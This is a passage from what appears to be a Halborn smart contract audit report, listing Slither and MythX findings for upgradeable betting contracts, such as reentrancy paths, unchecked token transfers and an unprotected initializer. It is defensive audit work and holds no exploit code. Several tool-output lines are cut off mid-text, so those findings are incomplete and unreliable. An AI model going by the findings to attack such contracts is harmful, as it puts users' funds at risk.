AccessControlUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#247) is never used in Betting (contracts/BettingNew.sol#24-552)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-state-variable

grantRole(bytes32,address) should be declared external:
        - AccessControlUpgradeable.grantRole(bytes32,address) (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#148-150)
revokeRole(bytes32,address) should be declared external:
        - AccessControlUpgradeable.revokeRole(bytes32,address) (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#161-163)
renounceRole(bytes32,address) should be declared external:
        - AccessControlUpgradeable.renounceRole(bytes32,address) (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#179-183)
initialize(address) should be declared external:
        - Betting.initialize(address) (contracts/BettingNew.sol#85-92)
getPoolTeams(uint256) should be declared external:
        - Betting.getPoolTeams(uint256) (contracts/BettingNew.sol#111-113)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external
```

BettingV2.sol

```
ERC1967UpgradeUpgradeable._functionDelegateCall(address,bytes) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#198-204) uses delegatecall to a input-controlled function
        - (success,returndata) = target.delegatecall(data) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#202)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#controlled-delegatecall

Betting.placeBet(uint256,uint256,uint256) (contracts/BettingNew.sol#148-178) ignores return value by usdcContract().transferFrom(player,address(this),_netAmount) (contracts/BettingNew.sol#173)
Betting.claimPayment(uint256) (contracts/BettingNew.sol#182-204) ignores return value by usdcContract().transfer(winner,_winningAmount) (contracts/BettingNew.sol#201)
Betting.claimRefund(uint256) (contracts/BettingNew.sol#208-229) ignores return value by usdcContract().transfer(player,_refundAmount) (contracts/BettingNew.sol#226)
Betting.claimCommission(uint256) (contracts/BettingNew.sol#250-268) ignores return value by usdcContract().transfer(player,_commissionAmount) (contracts/BettingNew.sol#265)
Betting.claimCommissionWithSignature(uint256,uint256,uint256,bytes) (contracts/BettingNew.sol#273-293) ignores return value by usdcContract().transfer(player,amount_) (contracts/BettingNew.sol#290)
Betting.transferCommissionToVault(uint256,uint256) (contracts/BettingNew.sol#295-299) ignores return value by usdcContract().transfer(vault(),amount_) (contracts/BettingNew.sol#298)
Betting.transferPayoutToVault(uint256,uint256) (contracts/BettingNew.sol#301-305) ignores return value by usdcContract().transfer(vault(),amount_) (contracts/BettingNew.sol#304)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unchecked-transfer

BettingV2 (contracts/BettingV2.sol#7-12) is an upgradeable contract that does not protect its initiliaze functions: Betting.initialize(address) (contracts/BettingNew.sol#85-92). Anyone can delete the contract with:
eppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#72-75)UUPSUpgradeable.upgradeToAndCall(address,bytes) (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#85-88)Reference:
tation#unprotected-upgradeable-contract

Betting._totalAmountWon(address,uint256) (contracts/BettingNew.sol#361-388) performs a multiplication on the result of a division:
        -_winningsPerTeam = _totalWinnings / pool.winners.length (contracts/BettingNew.sol#373)
        -_winningAmount = _winningAmount + ((_winningsPerTeam + _userBalance) / _teamBalance) + _userBalance (contracts/BettingNew.sol#384)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply

ERC1967UpgradeUpgradeable._upgradeToAndCallUUPS(address,bytes,bool).slot (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#98) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables

ERC1967UpgradeUpgradeable._upgradeToAndCallUUPS(address,bytes,bool) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#87-105) ignores return value by IERC1822ProxiableUpg
s/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#98-102)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return

Betting.viewPoolDistribution(uint256) (contracts/BettingNew.sol#308-316) has external calls inside a loop: _betAmounts[i] = pool.mintContract.totalSupply(i) (contracts/BettingNew.sol#312)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation/#calls-inside-a-loop

Variable 'ERC1967UpgradeUpgradeable._upgradeToAndCallUUPS(address,bytes,bool).slot (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#98)' in ERC1967UpgradeUpgradeable._up
enzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#87-105) potentially used before declaration: require(bool,string)(slot == _IMPLEMENTATION_SLOT,ERC1967Upgrade: unsupported proxiableUUID)
/ERC1967/ERC1967UpgradeUpgradeable.sol#99)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#pre-declaration-usage-of-local-variables

Reentrancy in Betting.claimCommission(uint256) (contracts/BettingNew.sol#250-268):
        External calls:
        - _commissionClaimed(player,poolId_,_commissionAmount) (contracts/BettingNew.sol#263)
                - bettingAdmin.commissionClaimed(player_,poolId_,commissionAmount_) (contracts/BettingNew.sol#140)
        - usdcContract().transfer(player,_commissionAmount) (contracts/BettingNew.sol#265)
        Event emitted after the call(s):
        - CommissionClaimed(poolId_,player,_commissionAmount) (contracts/BettingNew.sol#267)
Reentrancy in Betting.claimCommissionWithSignature(uint256,uint256,uint256,bytes) (contracts/BettingNew.sol#273-293):
        External calls:
        - _commissionClaimed(player,poolId_,amount_) (contracts/BettingNew.sol#288)
                - bettingAdmin.commissionClaimed(player_,poolId_,commissionAmount_) (contracts/BettingNew.sol#140)
        - usdcContract().transfer(player,amount_) (contracts/BettingNew.sol#290)
        Event emitted after the call(s):
        - CommissionClaimed(poolId_,player,amount_) (contracts/BettingNew.sol#292)
Reentrancy in Betting.claimPayment(uint256) (contracts/BettingNew.sol#182-204):
        External calls:
        - _payoutClaimed(winner,poolId_,_winningAmount) (contracts/BettingNew.sol#198)
                - bettingAdmin.payoutClaimed(player_,poolId_,commissionAmount_) (contracts/BettingNew.sol#132)
        - pool.mintContract.burnBatch(winner,pool.winners,balances) (contracts/BettingNew.sol#200)
        - usdcContract().transfer(winner,_winningAmount) (contracts/BettingNew.sol#201)
        Event emitted after the call(s):
        - WinningsClaimed(poolId_,winner,_winningAmount) (contracts/BettingNew.sol#203)
Reentrancy in Betting.claimRefund(uint256) (contracts/BettingNew.sol#208-229):
        External calls:
        - _refundClaimed(player,poolId_,_refundAmount) (contracts/BettingNew.sol#223)
                - bettingAdmin.refundClaimed(player_,poolId_,commissionAmount_) (contracts/BettingNew.sol#136)
        - pool.mintContract.burnBatch(player,_tokens,balances) (contracts/BettingNew.sol#225)
        - usdcContract().transfer(player,_refundAmount) (contracts/BettingNew.sol#226)
        Event emitted after the call(s):
        - RefundClaimed(poolId_,player,_refundAmount) (contracts/BettingNew.sol#228)
Reentrancy in Betting.placeBet(uint256,uint256,uint256) (contracts/BettingNew.sol#148-178):
        External calls:
        - _placeBet(player,poolId_,teamId_,amount_,_commission) (contracts/BettingNew.sol#170)
                - bettingAdmin.betPlaced(player_,poolId_,teamId_,amount_,commission_) (contracts/BettingNew.sol#128)
        - usdcContract().transferFrom(player,address(this),_netAmount) (contracts/BettingNew.sol#173)
        - pool.mintContract.mint(player,teamId_,amount_) (contracts/BettingNew.sol#175)
        Event emitted after the call(s):
        - BetPlaced(poolId_,player,teamId_,amount_) (contracts/BettingNew.sol#177)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3

Betting.placeBet(uint256,uint256,uint256) (contracts/BettingNew.sol#148-178) uses timestamp for comparisons
        Dangerous comparisons:
        - require(bool,string)(pool.startTime > block.timestamp,Betting: Cannot place bet after pool start time) (contracts/BettingNew.sol#152)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp

AddressUpgradeable.verifyCallResult(bool,bytes,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#174-194) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#186-189)
StorageSlotUpgradeable.getAddressSlot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#52-56) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#53-55)
StorageSlotUpgradeable.getBooleanSlot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#61-65) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#62-64)
StorageSlotUpgradeable.getBytes32Slot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#70-74) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#71-73)
StorageSlotUpgradeable.getUint256Slot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#79-83) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#80-82)
Betting._splitSignature(bytes) (contracts/BettingNew.sol#534-550) uses assembly
        - INLINE ASM (contracts/BettingNew.sol#545-549)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage

Different versions of Solidity are used:
        - Version used: ['>=0.7.0<0.9.0', '^0.8.0', '^0.8.1', '^0.8.2']
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/interfaces/draft-IERC1822Upgradeable.sol#4)
        - ^0.8.2 (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/proxy/beacon/IBeaconUpgradeable.sol#4)
        - ^0.8.2 (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol#4)
        - ^0.8.1 (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol#4)
        - >=0.7.0<0.9.0 (contracts/BettingNew.sol#3)
        - >=0.7.0<0.9.0 (contracts/BettingV2.sol#3)
        - >=0.7.0<0.9.0 (contracts/Storage.sol#3)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used

AccessControlUpgradeable.__AccessControl_init() (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#51-52) is never used and should be removed
AccessControlUpgradeable.__AccessControl_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#54-55) is never used and should be removed
AccessControlUpgradeable._setRoleAdmin(bytes32,bytes32) (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#212-216) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#85-87) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#95-101) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#114-120) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#128-139) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#147-149) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#157-166) is never used and should be removed
AddressUpgradeable.sendValue(address,uint256) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#60-65) is never used and should be removed
ContextUpgradeable.__Context_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#18-19) is never used and should be removed
ContextUpgradeable.__Context_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#21-22) is never used and should be removed
ContextUpgradeable._msgData() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#27-29) is never used and should be removed
ERC165Upgradeable.__ERC165_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#24-25) is never used and should be removed
ERC165Upgradeable.__ERC165_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#27-28) is never used and should be removed
ERC1967UpgradeUpgradeable.__ERC1967Upgrade_init() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#21-22) is never used and should be removed
ERC1967UpgradeUpgradeable.__ERC1967Upgrade_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#24-25) is never used and should be removed
ERC1967UpgradeUpgradeable._changeAdmin(address) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#139-142) is never used and should be removed
ERC1967UpgradeUpgradeable._getAdmin() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#122-124) is never used and should be removed
ERC1967UpgradeUpgradeable._getBeacon() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#158-160) is never used and should be removed
ERC1967UpgradeUpgradeable._setAdmin(address) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#129-132) is never used and should be removed
ERC1967UpgradeUpgradeable._setBeacon(address) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#165-172) is never used and should be removed
ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#180-190) is never used and should be removed
Initializable._disableInitializers() (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol#129-131) is never used and should be removed
StorageSlotUpgradeable.getBytes32Slot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#70-74) is never used and should be removed
StorageSlotUpgradeable.getUint256Slot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#79-83) is never used and should be removed
```

```
StringsUpgradeable.toHexString(uint256) (node_modules/@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol#40-51) is never used and should be removed
StringsUpgradeable.toString(uint256) (node_modules/@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol#15-35) is never used and should be removed
UUPSUpgradeable.__UUPSUpgradeable_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#26-27) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code

Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/interfaces/draft-IERC1822Upgradeable.sol#4) allows old versions
Pragma version^0.8.2 (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/proxy/beacon/IBeaconUpgradeable.sol#4) allows old versions
Pragma version^0.8.2 (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol#4) allows old versions
Pragma version^0.8.1 (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol#4) allows old versions
Pragma version>=0.7.0<0.9.0 (contracts/BettingNew.sol#3) is too complex
Pragma version>=0.7.0<0.9.0 (contracts/BettingV2.sol#3) is too complex
Pragma version>=0.7.0<0.9.0 (contracts/Storage.sol#3) is too complex
solc-0.8.9 is not recommended for deployment
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity

Low level call in ERC1967UpgradeUpgradeable._functionDelegateCall(address,bytes) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#198-204):
        - (success,returndata) = target.delegatecall(data) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#202)
Low level call in AddressUpgradeable.sendValue(address,uint256) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#60-65):
        - (success) = recipient.call{value: amount}() (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#63)
Low level call in AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#128-139):
        - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#137)
Low level call in AddressUpgradeable.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#157-166):
        - (success,returndata) = target.staticcall(data) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#164)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#low-level-calls

Function AccessControlUpgradeable.__AccessControl_init() (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#51-52) is not in mixedCase
Function AccessControlUpgradeable.__AccessControl_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#54-55) is not in mixedCase
Variable AccessControlUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#247) is not in mixedCase
Function ERC1967UpgradeUpgradeable.__ERC1967Upgrade_init() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#21-22) is not in mixedCase
Function ERC1967UpgradeUpgradeable.__ERC1967Upgrade_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#24-25) is not in mixedCase
Variable ERC1967UpgradeUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#211) is not in mixedCase
Function UUPSUpgradeable.__UUPSUpgradeable_init() (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#23-24) is not in mixedCase
Function UUPSUpgradeable.__UUPSUpgradeable_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#26-27) is not in mixedCase
Variable UUPSUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#107) is not in mixedCase
Variable UUPSUpgradeable.__self (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#29) is not in mixedCase
Function ContextUpgradeable.__Context_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#18-19) is not in mixedCase
Function ContextUpgradeable.__Context_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#21-22) is not in mixedCase
Variable ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#36) is not in mixedCase
Function ERC165Upgradeable.__ERC165_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#24-25) is not in mixedCase
Function ERC165Upgradeable.__ERC165_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#27-28) is not in mixedCase
Variable ERC165Upgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#41) is not in mixedCase
Parameter Betting.recoverSigner(bytes32,bytes)._ethSignedMessageHash (contracts/BettingNew.sol#524) is not in mixedCase
Parameter Betting.recoverSigner(bytes32,bytes)._signature (contracts/BettingNew.sol#524) is not in mixedCase
Function Betting._splitSignature(bytes) (contracts/BettingNew.sol#534-550) is not in mixedCase
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions

Variable Betting._totalCommissionGenerated(address,uint256)._commissionAmount (contracts/BettingNew.sol#428) is too similar to Betting._payoutClaimed(address,uint256,uint256).commissionAmount_ (contracts/BettingNew
Variable Betting._totalCommissionGenerated(address,uint256)._commissionAmount (contracts/BettingNew.sol#428) is too similar to Betting._commissionClaimed(address,uint256,uint256).commissionAmount_ (contracts/Bettin
Variable Betting.claimCommission(uint256)._commissionAmount (contracts/BettingNew.sol#258) is too similar to Betting._refundClaimed(address,uint256,uint256).commissionAmount_ (contracts/BettingNew.sol#135)
Variable Betting._totalCommissionGenerated(address,uint256)._commissionAmount (contracts/BettingNew.sol#428) is too similar to Betting._refundClaimed(address,uint256,uint256).commissionAmount_ (contracts/BettingNew
Variable Betting.claimCommission(uint256)._commissionAmount (contracts/BettingNew.sol#258) is too similar to Betting._payoutClaimed(address,uint256,uint256).commissionAmount_ (contracts/BettingNew.sol#131)
Variable Betting.claimCommission(uint256)._commissionAmount (contracts/BettingNew.sol#258) is too similar to Betting._commissionClaimed(address,uint256,uint256).commissionAmount_ (contracts/BettingNew.sol#139)
Variable Betting.placeBet(uint256,uint256,uint256)._commission (contracts/BettingNew.sol#159) is too similar to Betting._placeBet(address,uint256,uint256,uint256,uint256).commission_ (contracts/BettingNew.sol#127)
Variable Betting.allPayouts(address,uint256)._commission (contracts/BettingNew.sol#356) is too similar to Betting._placeBet(address,uint256,uint256,uint256,uint256).commission_ (contracts/BettingNew.sol#127)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#variable-names-are-too-similar

AccessControlUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#247) is never used in BettingV2 (contracts/BettingV2.sol#7-12)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-state-variable

grantRole(bytes32,address) should be declared external:
        - AccessControlUpgradeable.grantRole(bytes32,address) (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#148-150)
revokeRole(bytes32,address) should be declared external:
        - AccessControlUpgradeable.revokeRole(bytes32,address) (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#161-163)
renounceRole(bytes32,address) should be declared external:
        - AccessControlUpgradeable.renounceRole(bytes32,address) (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#179-183)
initialize(address) should be declared external:
        - Betting.initialize(address) (contracts/BettingNew.sol#85-92)
getPoolTeams(uint256) should be declared external:
        - Betting.getPoolTeams(uint256) (contracts/BettingNew.sol#111-113)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external
```

- As a result of the tests carried out with the Slither tool, some results were obtained and reviewed by Halborn. Based on the results reviewed, some vulnerabilities were determined to be false positives. The actual vulnerabilities found by Slither are already included in the report findings.

4.2 AUTOMATED SECURITY SCAN

Description:

Halborn used automated security scanners to assist with detection of well-known security issues, and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on all the contracts and sent the compiled results to the analyzers to locate any vulnerabilities.

MythX results:

BettingAdmin.sol

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.

Betting.sol

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.
283	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
284	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.

BettingV2.sol

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.

- No major issues found by Mythx. The floating pragma flagged by MythX is a false positive, as every contract is deployed using the 0.8.9 solidity version.

THANK YOU FOR CHOOSING

// HALBORN